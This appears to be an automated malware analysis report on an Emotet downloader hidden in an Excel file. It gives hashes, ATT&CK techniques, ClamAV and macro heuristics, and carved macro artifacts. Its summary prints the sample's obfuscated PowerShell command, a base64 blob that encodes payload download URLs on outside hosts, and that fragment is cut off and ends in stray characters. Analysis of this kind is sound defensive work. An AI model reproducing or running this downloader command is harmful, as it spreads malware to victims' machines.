Emotet Office (OOXML) / .XLSX malware analysis — malicious · a9d1b1f396d1aad5

MALICIOUS

Office (OOXML) / .XLSX

92.0 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 26653b19a1fa5c70ef70b1b77b476eb7 SHA-1: 8ec373485a63c7fd5ebf7a1eaff09176f2046ed0 SHA-256: a9d1b1f396d1aad5b1346adee317e21e239c30c2dbc123433fc95d9927a3429c

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1059.003 Command and Scripting Interpreter: Windows Command Shell T1105 Ingress Tool Transfer

The file is identified as malicious by ClamAV with a signature indicating it's a downloader associated with Emotet. The presence of a Workbook_Open macro and CreateObject calls, along with the critical ClamAV detection, strongly suggests malicious intent. The embedded document body contains obfuscated commands that reconstruct to 'pohell -e nc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGgAYQByAHAAZQByAGgAbwB1AHMAZQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAE0AZQByAGMAaABhAG4AdAAyAC8AQQBSAHMAZgAxAEwASQBjAE8AYQB1AGgASAAxAHIARAByAEkAaAAvACwAaAB0AHQAcAA6AC8ALwBoAG8AbAB1AGIAdgBpAGQAZQBvAC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AegBxAHEAZwBaADAAWQBYAGEAUABpAFcAYgBGAC8ALABoAHQAdABwADoALwAvAG0AYQBnAGkAYwBiAGwAbwBnAC4AdABhAHQ האטמo

Heuristics 5

ClamAV: Xls.Downloader.EmotetRed02221-9938910-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetRed02221-9938910-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `de7bcbc45ff0a77d05d9af662bacc316e71be11a980e94f6673e556a5dd9d1bc`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12808 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `c7f6d66bcf19a7a8c9a74693526ab13446a2bbf6e601eed06efbe33f0860381c`	vba-project	OOXML VBA project: xl/vbaProject.bin	37888 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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